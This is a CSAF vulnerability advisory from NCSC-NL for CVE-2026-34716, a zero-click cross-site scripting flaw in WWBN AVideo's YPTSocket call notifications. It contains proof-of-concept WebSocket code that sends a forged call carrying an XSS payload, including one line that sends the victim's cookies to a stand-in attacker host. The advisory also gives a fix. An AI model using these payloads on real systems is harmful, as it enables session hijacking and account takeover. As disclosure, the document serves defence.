{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-34716",
        "tracking": {
            "current_release_date": "2026-04-03T17:39:58.200792Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-34716",
            "initial_release_date": "2026-03-31T21:26:32.000080Z",
            "revision_history": [
                {
                    "date": "2026-03-31T21:26:32.000080Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (1).| CWES updated (1)."
                },
                {
                    "date": "2026-03-31T21:26:34.487330Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-03-31T21:39:07.729673Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (1).| CWES updated (1)."
                },
                {
                    "date": "2026-03-31T21:39:10.126204Z",
                    "number": "4",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-04-01T07:49:55.769267Z",
                    "number": "5",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-04-01T15:06:21.387959Z",
                    "number": "6",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-04-01T15:08:07.199404Z",
                    "number": "7",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-04-01T22:11:15.872556Z",
                    "number": "8",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-04-01T23:00:48.869126Z",
                    "number": "9",
                    "summary": "Products connected (1).| Product Identifiers created (1).| Exploits created (1)."
                },
                {
                    "date": "2026-04-01T23:00:52.019629Z",
                    "number": "10",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-04-03T17:39:13.238309Z",
                    "number": "11",
                    "summary": "Unknown change."
                },
                {
                    "date": "2026-04-03T17:39:15.177715Z",
                    "number": "12",
                    "summary": "NCSC Score updated."
                }
            ],
            "status": "interim",
            "version": "12"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<=26.0",
                                "product": {
                                    "name": "vers:unknown/<=26.0",
                                    "product_id": "CSAFPID-5893889",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "AVideo"
                    }
                ],
                "category": "vendor",
                "name": "WWBN"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-34716",
            "cwe": {
                "id": "CWE-79",
                "name": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "WWBN AVideo is an open source video platform. In versions 26.0 and prior, the AVideo YPTSocket plugin's caller feature renders incoming call notifications using the jQuery Toast Plugin, passing the caller's display name directly as the heading parameter. The toast plugin constructs the heading as raw HTML ('<h2>' + heading + '</h2>') and inserts it into the DOM via jQuery's .html() method, which parses and executes any embedded HTML or script content. An attacker can set their display name to an XSS payload and trigger code execution on any online user's browser simply by initiating a call - no victim interaction is required beyond being connected to the WebSocket. At time of publication, there are no publicly available patches.",
                    "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-34716"
                },
                {
                    "category": "description",
                    "text": "WWBN AVideo is an open source video platform. In versions 26.0 and prior, the AVideo YPTSocket plugin's caller feature renders incoming call notifications using the jQuery Toast Plugin, passing the caller's display name directly as the heading parameter. The toast plugin constructs the heading as raw HTML ('<h2>' + heading + '</h2>') and inserts it into the DOM via jQuery's .html() method, which parses and executes any embedded HTML or script content. An attacker can set their display name to an XSS payload and trigger code execution on any online user's browser simply by initiating a call - no victim interaction is required beyond being connected to the WebSocket. At time of publication, there are no publicly available patches.",
                    "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/34xxx/CVE-2026-34716.json"
                },
                {
                    "category": "description",
                    "text": "## Summary\n\nThe AVideo YPTSocket plugin's caller feature renders incoming call notifications using the jQuery Toast Plugin, passing the caller's display name directly as the `heading` parameter. The toast plugin constructs the heading as raw HTML (`'<h2>' + heading + '</h2>'`) and inserts it into the DOM via jQuery's `.html()` method, which parses and executes any embedded HTML or script content. An attacker can set their display name to an XSS payload and trigger code execution on any online user's browser simply by initiating a call - no victim interaction is required beyond being connected to the WebSocket.\n\n## Details\n\nWhen a call notification arrives via WebSocket, the caller's identity is extracted from the JSON message:\n\n```javascript\n// plugin/YPTSocket/caller.js:73\nuserIdentification = json.from_identification;\n```\n\nThis value is passed directly to the jQuery Toast Plugin as the heading:\n\n```javascript\n// plugin/YPTSocket/caller.js:89\nheading: userIdentification,\n```\n\nInside the jQuery Toast Plugin, the heading is rendered as raw HTML:\n\n```javascript\n// node_modules/jquery-toast-plugin/src/jquery.toast.js:60\n// Constructs: '<h2>' + heading + '</h2>'\n// Then inserts via .html()\n```\n\njQuery's `.html()` method parses the string as HTML and executes any script-bearing elements (such as `<img onerror>`, `<svg onload>`, etc.).\n\nThere is a secondary injection vector in the same file where the full JSON message is placed inside a single-quoted `onclick` attribute:\n\n```javascript\n// plugin/YPTSocket/caller.js:121-123\nimageAndButton += '<button class=\"btn btn-danger btn-circle incomeCallBtn\" onclick=\\'hangUpCall(' + JSON.stringify(json) + ')\\'><i class=\"fas fa-phone-slash\"></i></button>';\nif (isJsonReceivingCall(json)) {\n    imageAndButton += '<button class=\"btn btn-success btn-circle incomeCallBtn\" onclick=\\'acceptCall(' + JSON.stringify(json) + ')\\'><i class=\"fas fa-phone\"></i></button>';\n```\n\n`JSON.stringify(json)` is placed inside a single-quoted `onclick` attribute. If any field in `json` contains a single quote, it breaks the attribute boundary and allows attribute injection.\n\n## Proof of Concept\n\n**Important note on the attack vector:** `User::setName()` at `objects/user.php:2069` uses `strip_tags()`, so the display name IS sanitized on the server side when set through the normal UI or API. However, the WebSocket server relays call messages as-is without server-side validation of the `from_identification` field. A malicious WebSocket client can send any `from_identification` value directly over the WebSocket protocol, bypassing the server-side sanitization entirely. The attack requires a custom WebSocket client, not the normal UI.\n\n**Step 1: Connect a malicious WebSocket client and send a forged call message**\n\nThe following JavaScript connects directly to the AVideo WebSocket server and sends a call message with an XSS payload in the `from_identification` field:\n\n```javascript\n// Malicious WebSocket client - bypasses server-side strip_tags() sanitization\nconst ws = new WebSocket('wss://your-avideo-instance.com:8888');\n\nws.onopen = function() {\n    // Send a forged call message with HTML in from_identification\n    const payload = {\n        msg: 'call',\n        from_users_id: 1,\n        to_users_id: VICTIM_USER_ID,\n        from_identification: '<img src=x onerror=alert(document.cookie)>',\n        resourceURL: 'https://your-avideo-instance.com/meet/123'\n    };\n    ws.send(JSON.stringify(payload));\n    console.log('Forged call message sent');\n};\n```\n\n**Step 2:** When the victim receives the call notification, the toast renders `from_identification` as HTML via jQuery's `.html()`. The `<img>` tag triggers the `onerror` handler, executing JavaScript in the victim's browser context.\n\nMore advanced payload for credential exfiltration:\n\n```javascript\n// Credential exfiltration via forged WebSocket call\nconst ws = new WebSocket('wss://your-avideo-instance.com:8888');\nws.onopen = function() {\n    ws.send(JSON.stringify({\n        msg: 'call',\n        from_users_id: 1,\n        to_users_id: VICTIM_USER_ID,\n        from_identification: '<img src=x onerror=\"fetch(\\'https://attacker.example.com/log?\\'+document.cookie)\">',\n        resourceURL: 'https://your-avideo-instance.com/meet/123'\n    }));\n};\n```\n\nReproduction steps:\n\n1. Identify the WebSocket server address for the target AVideo instance (typically port 8888).\n2. Connect a custom WebSocket client to the server.\n3. Send a call message with `from_identification` set to `<img src=x onerror=alert(document.cookie)>`.\n4. Ensure a victim user is online and connected to the WebSocket (any authenticated page with YPTSocket loaded).\n5. Observe the XSS payload executing in the victim's browser when the toast notification appears. No victim interaction is required.\n\n## Impact\n\nThis is a zero-click stored XSS vulnerability. The victim does not need to click anything - merely being connected to the WebSocket (which happens automatically on any authenticated page load) is sufficient for the attack to succeed. The attacker controls when the payload fires by initiating a call.\n\nConsequences include:\n\n- **Session hijacking**: Steal the victim's session cookie and impersonate them.\n- **Account takeover**: If the victim is an administrator, the attacker gains full platform control.\n- **Worm propagation**: The XSS payload can automatically change the victim's display name to the same payload and call other online users, creating a self-propagating worm.\n- **Keylogging and credential theft**: Inject persistent scripts that capture keystrokes on the current page.\n\nThe attack is zero-click and can target any specific online user.\n\n- **CWE**: CWE-79 (Cross-Site Scripting - DOM-based)\n\n## Recommended Fix\n\nHTML-escape the heading value before passing it to `$.toast()` at `plugin/YPTSocket/caller.js:89`:\n\n```javascript\nheading: $('<span>').text(userIdentification).html(),\n```\n\nThis uses jQuery's `.text()` to safely encode the user-controlled string, then extracts the escaped HTML via `.html()`.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
                    "title": "github - https://api.github.com/advisories/GHSA-w4hp-w536-jg64"
                },
                {
                    "category": "other",
                    "text": "0.00043",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "3.8",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "There is exploit data available from source Nvd, The value of the most recent CVSS (V3) score, Is related to (a version of) an uncommon product",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5893889"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-34716"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/34xxx/CVE-2026-34716.json"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-w4hp-w536-jg64"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd",
                    "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-w4hp-w536-jg64"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34716"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-w4hp-w536-jg64"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
                        "baseScore": 6.4,
                        "baseSeverity": "MEDIUM"
                    },
                    "products": [
                        "CSAFPID-5893889"
                    ]
                }
            ],
            "title": "CVE-2026-34716"
        }
    ]
}